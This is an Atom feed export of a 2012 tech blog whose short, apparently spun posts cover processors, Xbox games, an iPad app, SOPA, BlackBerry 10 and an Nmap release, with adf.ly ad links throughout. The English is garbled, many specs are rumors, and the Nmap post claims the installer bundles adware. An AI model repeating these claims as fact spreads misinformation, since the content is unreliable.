<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-896536409268105972</id><updated>2012-02-14T06:01:50.955-08:00</updated><category term='IBM'/><category term='Anonymouses'/><category term='Browser'/><category term='Games'/><category term='Web Design'/><category term='Gadget'/><category term='Download'/><category term='Linux'/><category term='Vacancy'/><category term='Product'/><category term='Software'/><category term='AJAX'/><category term='Server'/><category term='Hardware'/><category term='VB / .Net'/><category term='Ubuntu'/><category term='Hacking'/><category term='Antivirus'/><category term='Tutorial'/><category term='Security'/><category term='Programming'/><category term='HTML5'/><category term='Web Hosting'/><category term='Windows 7'/><title type='text'>silentsintaks</title><subtitle type='html'>silentsintaks Blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>97</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6312420601503098362</id><published>2012-02-14T06:00:00.000-08:00</published><updated>2012-02-14T06:01:50.974-08:00</updated><title type='text'>Quickoffice Pro HD iPad Application</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-z71_ogNSsLg/TzppPSmvXGI/AAAAAAAAACk/u9qXFJcPaqc/s1600/Quickoffice%2BPro%2BHD%2BiPad%2Bapplication.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="256" width="293" src="http://1.bp.blogspot.com/-z71_ogNSsLg/TzppPSmvXGI/AAAAAAAAACk/u9qXFJcPaqc/s320/Quickoffice%2BPro%2BHD%2BiPad%2Bapplication.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Quickoffice Pro HD iPad application may be used to easily share files with keynote Office.&lt;br /&gt;Interface with the look of the Professional, including the ease of synchronization with Google Documents. Also makes a users it easy to share as a separate file such as text documents, presentations and spreadsheets. By using the &lt;b&gt;Quickoffice Pro HD&lt;/b&gt; iPad application, three files can be sent only once to send.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2012/02/quickoffice-pro-hd-ipad-application/"&gt;Quickoffice Pro HD&lt;/a&gt; uses standard format from the outside, so there is no further requirement for users who want to share documents. If no internet connection, the user can work locally, otherwise if there is a connection, either Wi-Fi or 3G, users can work through on line server.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;source&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6312420601503098362?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6312420601503098362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6312420601503098362' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6312420601503098362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6312420601503098362'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/02/quickoffice-pro-hd-ipad-application.html' title='Quickoffice Pro HD iPad Application'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-z71_ogNSsLg/TzppPSmvXGI/AAAAAAAAACk/u9qXFJcPaqc/s72-c/Quickoffice%2BPro%2BHD%2BiPad%2Bapplication.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-772388960952602907</id><published>2012-02-10T07:17:00.000-08:00</published><updated>2012-02-10T07:18:51.094-08:00</updated><title type='text'>Five of The Best Xbox 360 Games</title><content type='html'>Five of the best games you must play on the Xbox 360. Guaranteed the following games are going to provide for your own experience in playing the game. More fun, and certainly with a more advanced presentation technology, futuristic and exciting storyline, will make you forget the time and loved the Xbox 360.&lt;br /&gt;&lt;br /&gt;Still in doubt? Let me be more clear, here’s five best games for your Xbox 360.&lt;br /&gt;&lt;br /&gt;A. Bioshock&lt;br /&gt;&lt;br /&gt;One of the best games ever for Xbox 360. BioShock not only great in terms of graphics, great audio, but also in terms of storyline, gameplay is complex and will certainly make you amazed when you play this game on the Xbox 360. If this is arguably the game must be played by your Xbox 360 users!&lt;br /&gt;&lt;br /&gt;2. Halo 3&lt;br /&gt;&lt;br /&gt;No wonder if Halo 3 is said to be the best Halo game ever invented and make it as one of the best games for the Xbox 360 console. The perfection of this game you can feel from a variety of aspects ranging from the quality of graphics, up to multiplayer features. Once you play this game, you will be guaranteed an addiction for several months. Will continue to be addicted even before the release of other great games, do not believe it? Please play Halo 3 on Xbox 360 you, and feel the difference?&lt;br /&gt;&lt;br /&gt;3. The Elders Scrolls IV: Oblivion&lt;br /&gt;&lt;br /&gt;When playing The Elders Scrolls IV: Oblivion, you will feel the gaming experience more enjoyable and certainly more fun, not boring and of course the game is not just a regular RPG-Elite, but it is an incredible game to play on your Xbox 360 .&lt;br /&gt;&lt;br /&gt;4. Call of Duty 4: Modern Walfare&lt;br /&gt;&lt;br /&gt;Champaigns Single Player mode of the game Call of Duty 4 will makes you spend more time with the &lt;a href="http://www.thatcoin.com/2012/02/five-of-the-best-xbox-360-games/"&gt;Xbox 360&lt;/a&gt;, why? Because the Call Of Duty 4 presents the gameplay is quite challenging and certainly brings great moments in a battle. Not only that, for the Multiplayer mode, arguably Call Of Duty is very satisfying and certainly more fun to play.&lt;br /&gt;&lt;br /&gt;5. Fallout 3&lt;br /&gt;&lt;br /&gt;Comes with a different appearance than the two previous series, Fallout 3 comes to setting a more interesting story, bloody combat with powerful enemies. And although the game is not included as a hardcore shooter but you will continue to explore every avenue curious story of this game.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://silent-consultant.blogspot.com/2012/02/five-of-best-xbox-360-games.html"&gt;Five of The Best Xbox 360 Games&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/5IeXt"&gt;&lt;br /&gt;Xbox 360 Tips&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;source&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-772388960952602907?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/772388960952602907/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=772388960952602907' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/772388960952602907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/772388960952602907'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/02/five-of-best-xbox-360-games.html' title='Five of The Best Xbox 360 Games'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-1586260985172538041</id><published>2012-02-04T12:50:00.000-08:00</published><updated>2012-02-04T12:50:44.206-08:00</updated><title type='text'>Alienware X51 Computer Gaming</title><content type='html'>Alienware X51, producing a small gaming computer with a mini-ATX slim case measures 32 x 32 x 9.5 cm. Strength is not as big as Alienware X51 desktop capabilities in general. Due to small size, only limited to 8GB of memory, a VGA-class hard drive and Nvidia 500 series.&lt;br /&gt;&lt;br /&gt;Prices starting at $ 699, available options ekternal power supply.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2012/02/alienware-x51-computer-gaming/"&gt;Alienware X51&lt;/a&gt; specifications below.&lt;br /&gt;&lt;br /&gt;Intel Core i3 Dual Core (standard) and Intel Core i5 and i7 Quad Core Processor Options&lt;br /&gt;Intel H61 Express Chipset Architecture&lt;br /&gt;Mini-ITX Motherboard&lt;br /&gt;Powerful NVIDIA Graphics Card Options&lt;br /&gt;1GB GDDR5 NVIDIA GeForce GT 545 (Standard)&lt;br /&gt;1GB GDDR5 NVIDIA GeForce GTX 555&lt;br /&gt;Configure with up to 8GB of DDR3 Memory (4GB Standard); 2x 240-Pin DDR3 SDRAM Slots&lt;br /&gt;Fast 7,200RPM 1TB Hard Drive&lt;br /&gt;&lt;br /&gt;Microsoft Windows 7 Home Premium&lt;br /&gt;Slot-Loading Dual Layer DVD Burner (Standard) or optional Blu-ray Disc Reader&lt;br /&gt;Internal High-Definition 7.1 Performance Audio with Waves MAXX Audio Software&lt;br /&gt;Integrated 10/100/1000Mbps Gigabit Ethernet NIC and Integrated 802.11 a/b/g/n Wi-Fi Wireless LAN (standard)&lt;br /&gt;USB 2.0 (6x); USB 3.0 (2x); Microphone In; Headphone/Speaker Out; HDMI 1.4 Output; RJ-45 Gigabit Ethernet; Front, Rear and Center Speaker Ports; SPDIF Digital Output (TOSLINK); SPDIF Digital Output (Coax)&lt;br /&gt;Alienware 240 Watt Power Supply (Standard) or optional 330 Watt Power Supply&lt;br /&gt;Dual-orientation tower system dimensions: h: 13.5″ (343mm) x w: 3.74″ (95mm) x d: 12.52″ (318mm)&lt;br /&gt;Starting Weight: 12.1 lbs. (5.49 Kg.)&lt;br /&gt;&lt;a href="http://adf.ly/4JfCp"&gt;&lt;br /&gt;Core i5-2550k&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;source&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-1586260985172538041?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/1586260985172538041/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=1586260985172538041' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1586260985172538041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1586260985172538041'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/02/alienware-x51-computer-gaming.html' title='Alienware X51 Computer Gaming'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-841469872250512715</id><published>2012-01-25T01:46:00.000-08:00</published><updated>2012-01-25T01:46:50.237-08:00</updated><title type='text'>SOPA in US and Censorship in India</title><content type='html'>As US senators mull over the &lt;a href="http://www.thatcoin.com/2012/01/sopa-in-us-and-censorship-in-india/"&gt;SOPA&lt;/a&gt; (Stopping Online Piracy Act) and PIPA (Protecting Intellectual Property Act) bills, the world stands witness to a historic moment. Almost all big IT companies like Google, Wikipedia, Facebook, Mozilla, Godaddy, etc are speaking in one unanimous voice against SOPA and Internet Censorship. The draconian provisions of SOPA/PIPA are bound to create the deathbed of internet freedom and free speech, and if a careful reading of the proposed legislation is done, one realizes that it is likely to have the same impact on India.&lt;br /&gt;&lt;br /&gt;In the disguise of protecting copyrights and stopping piracy its completely clear that the US government is trying to assert its control over the free flow of information on internet which is some time uncomfortable to them. Giving power to Attorney General to direct search engines like Google to filter particular search results, or asking an ISP to manipulate their DNS to filter specific IP addresses just at whims and fancies of government all the threatening to accessing information.&lt;br /&gt;To make the matters worse on the name of stopping piracy the websites will be held directly responsible for content uploaded by a one of its millions user. And if infringement is proved then apart from banning whole website its executives would be liable to mountainous fines and prison terms along with the user who uploaded content for upto 5 years. So imagine if a teenager ends up uploading a Michal Jackson video on YouTube he may get 5 year term in jail where as the doctor who killed Michal Jackson could get only 4 years. Or if you post a YouTube video link of Rockstar movie song on your Facebook wall, entire Facebook website can be blocked for copyright infringement.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-841469872250512715?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/841469872250512715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=841469872250512715' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/841469872250512715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/841469872250512715'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/01/sopa-in-us-and-censorship-in-india.html' title='SOPA in US and Censorship in India'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7435352847105484181</id><published>2012-01-18T10:19:00.000-08:00</published><updated>2012-01-18T10:19:02.688-08:00</updated><title type='text'>Intel Xeon E5 Rumors</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-srUrFTAoS0c/TxcM4ulj6sI/AAAAAAAAACY/09PVYA6slbU/s1600/Intel-Xeon-E5.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="259" width="320" src="http://3.bp.blogspot.com/-srUrFTAoS0c/TxcM4ulj6sI/AAAAAAAAACY/09PVYA6slbU/s320/Intel-Xeon-E5.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Intel Xeon dual processor socket set server in March 2012. The new chip design based on the design of Sandy Bridge EP where all cores are active and very well used for servers or high end workstations.&lt;br /&gt;&lt;br /&gt;Xeon E5 PE aka Sandy Bridge SNB x86 has 8 cores with support for quad channel memory and 20MB cache inside the processor. Rumors Xeon E5 processors will be displayed at the exhibition CeBIT 2012 March 6, 2012. E5 is the latest generation of Xeon dual-socket platform Romley. Processors using socket LGA 2011&lt;br /&gt;&lt;br /&gt;Dual &lt;a href="http://www.thatcoin.com/2012/01/intel-xeon-e5-rumors/"&gt;Xeon E5&lt;/a&gt; for computer workstations. Perhaps more cool for rendering video or animation&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/4JfCp"&gt;Intel Core i5-2550k&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7435352847105484181?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7435352847105484181/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7435352847105484181' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7435352847105484181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7435352847105484181'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/01/intel-xeon-e5-rumors.html' title='Intel Xeon E5 Rumors'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-srUrFTAoS0c/TxcM4ulj6sI/AAAAAAAAACY/09PVYA6slbU/s72-c/Intel-Xeon-E5.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4330137619017954436</id><published>2012-01-09T02:00:00.000-08:00</published><updated>2012-01-09T02:00:30.612-08:00</updated><title type='text'>Nmap 5.61TEST4 Released</title><content type='html'>Nmap release today an interesting version &lt;a href="http://www.thatcoin.com/2012/01/nmap-5-61test4-released-with-web-spidering-feature/"&gt;nmap 5.61TEST4&lt;/a&gt; with number of interesting features. Also, to improve the user experience, the Windows installer nowinstalls various browser toolbars, search engine redirectors, and associated adware.&lt;br /&gt;&lt;br /&gt;a spidering library and associated scripts for crawling websites.&lt;br /&gt;51 new NSE scripts, bringing the total to 297.&lt;br /&gt;a substantial decrease in the size of the Mac OS X installer due to the removal of PPC support.&lt;br /&gt;a new vulnerability management library which stores and reports found vulnerabilities.&lt;br /&gt;Mac OS X packages are now x86-only (rather than universal), reducing the download size from 30 MB to about 17.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4330137619017954436?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4330137619017954436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4330137619017954436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4330137619017954436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4330137619017954436'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/01/nmap-561test4-released.html' title='Nmap 5.61TEST4 Released'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6327241870590275779</id><published>2012-01-04T22:22:00.000-08:00</published><updated>2012-01-04T22:22:21.756-08:00</updated><title type='text'>Intel Z77 Motherboard</title><content type='html'>&lt;a href="http://www.thatcoin.com/2012/01/intel-z77-motherboard/"&gt;Motherboard Z77&lt;/a&gt; for Intel Ivy Bridge processors has been leaked on the Internet media. One motherboard design below has 16 phase power for the CPU, 4 memory slots, 2 PCIe x16 (PCI-e 3.0 and 2.0), 2 PCIe x1, 2 PCI slots, 10 SATA, slot wifi, Bluettoth and 2 USB 3.0.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2012/01/intel-z77-motherboard/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6327241870590275779?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6327241870590275779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6327241870590275779' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6327241870590275779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6327241870590275779'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/01/intel-z77-motherboard.html' title='Intel Z77 Motherboard'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7908268712950845740</id><published>2012-01-04T01:45:00.000-08:00</published><updated>2012-01-04T01:45:20.725-08:00</updated><title type='text'>Core i5 2380P</title><content type='html'>ntel rumors will issue new Sandy Bridge processors socket LGA 1155. Unlike the current Sandy Bridge processors like the Core i7 series Core i5 2600K or 2500K in the processor came with the graphics processor, or IGP.&lt;br /&gt;Under this new Sandy Bridge processors without including there in a VGA unit&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2012/01/core-i5-2380p-processor/"&gt;Core i5 2380P&lt;/a&gt;, 3.1GHz, 4 cores, 3.4GHz and Core i5 turbo 2450P, 3.2Ghz, 4 cores, 3.5GHz turbo. Both have 6MB of L3 cache memory.&lt;br /&gt;When compared with a series of servers, the two most recent Sandy Bridge processors may be able to save 15W without IGP like the series servers. Sandy Bridge processor model P is estimated to come out after January 2012 or after the release of the Core i5 2550K.&lt;br /&gt;Is it better, for gamers or those who rely on VGA as display graphics processor may be able to choose the type of non IGP.&lt;br /&gt;&lt;a href="http://adf.ly/4JfCp"&gt;&lt;br /&gt;Intel Core i5 2550k&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7908268712950845740?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7908268712950845740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7908268712950845740' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7908268712950845740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7908268712950845740'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/01/core-i5-2380p.html' title='Core i5 2380P'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8912426739253873558</id><published>2012-01-03T01:30:00.000-08:00</published><updated>2012-01-03T01:30:25.356-08:00</updated><title type='text'>AMD Phenom II X8 Processor</title><content type='html'>Update BIOS from ECS and Jetway motherboard computer, dealing with the latest AMD processor products. AMD Phenom II is expected to issue a X8.&lt;br /&gt;From the list of supported motherboards based on chipset AMD Jetway HA18 9 + a list of some of the new processors are not yet available in the market. ECS A890GXM-A2 also includes a list of the 4 processors are AMD.&lt;br /&gt;&lt;br /&gt;Below is a list of the latest AMD processors&lt;br /&gt;&lt;br /&gt;AMD Phenom II X8 2420: 2.40GHz, 95W, ZD242046W8K43&lt;br /&gt;AMD Phenom II X8 3020: 3.00GHz, 125W, ZD302051W8K44&lt;br /&gt;AMD Phenom II X8 2520: 2.50GHz, 95W, ZD252046W6443&lt;br /&gt;AMD Phenom II X8 2820: 2.80GHz, 95W, ZD282046W8K43&lt;br /&gt;&lt;a href="http://adf.ly/4Jf92"&gt;&lt;br /&gt;AMD FX 6200 Processor&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2011/12/amd-phenom-ii-x8/"&gt;AMD Phenom II X8&lt;/a&gt; is not playing a top class, only the processor is positioned at a premium or a class $ 400.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8912426739253873558?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8912426739253873558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8912426739253873558' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8912426739253873558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8912426739253873558'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2012/01/amd-phenom-ii-x8-processor.html' title='AMD Phenom II X8 Processor'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3254884536366284379</id><published>2011-12-30T04:03:00.000-08:00</published><updated>2011-12-30T04:03:59.182-08:00</updated><title type='text'>Intel Ivy Bridge</title><content type='html'>Next year Intel will release new processors series Ivy Bridge. What is the difference compared to Ivy Bridge 22nm Core i series available today.&lt;br /&gt;From the price, to the speed of processors series Core series Ivy Bridge and i have the same price. TDP processor or heat generated by the lower 22nm processors, in addition to the use of power for smaller processors. Ivy Bridge TDP of about 77W, and 95W maximum.&lt;br /&gt;At least Ivy Bridge users use more power-efficient 18 W for the same speed of Sandy Bridge. Internal graphics &lt;a href="http://www.thatcoin.com/2011/12/intel-ivy-bridge-news/"&gt;Ivy Bridge&lt;/a&gt; is also faster than current processors.&lt;br /&gt;Ivy Bridge processors might be released second quarter of next year is more profitable than Sandy Bridge series. If interested in upgrading the computer or buy a new computer for the next few months, Ivy Bridge processors may be an option.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3254884536366284379?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3254884536366284379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3254884536366284379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3254884536366284379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3254884536366284379'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/12/intel-ivy-bridge.html' title='Intel Ivy Bridge'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6732170091637575462</id><published>2011-12-19T09:04:00.000-08:00</published><updated>2011-12-19T09:05:25.221-08:00</updated><title type='text'>BlackBerry 10</title><content type='html'>BlackBerry Developer Conference, Research in Motion (RIM) introduced the newest operating system called OS BlackBerry 10.Smart phones with the OS 10 will not appear in the near future.&lt;br /&gt;The assurance was made ​​by Co-CEO of RIM Jim Balsillie and Mike Lazaridis, have not taken chipset with support for LTE technology that is ready to be immersed in the BlackBerry OS from 10 to mid-2012. This means, the BlackBerry OS 10 will not come in 2012.&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2011/12/blackberry-os-10-news/"&gt;BlackBerry OS 10&lt;/a&gt; was originally known as OS BBX, this mobile operating system has been first immersed in RIM tablet, Playbook. But unfortunately, the Playbook is less popular both in terms of sales and OS are introduced.&lt;br /&gt;Latest BlackBerry OS 10 is can be used not only for smartphone devices, but also remain Playbook. Interestingly in the event Asian BlackBerry Developer Conference (DevCon) 2011 in Singapore, some applications can run on Android OS 10, in particular Playbook.&lt;br /&gt;Another feature is the use of HTML 5 on RIM’s latest OS this time will also be upgraded, so it will be faster when browsing and will bring a different experience for our customers.&lt;br /&gt;&lt;br /&gt;&lt;a 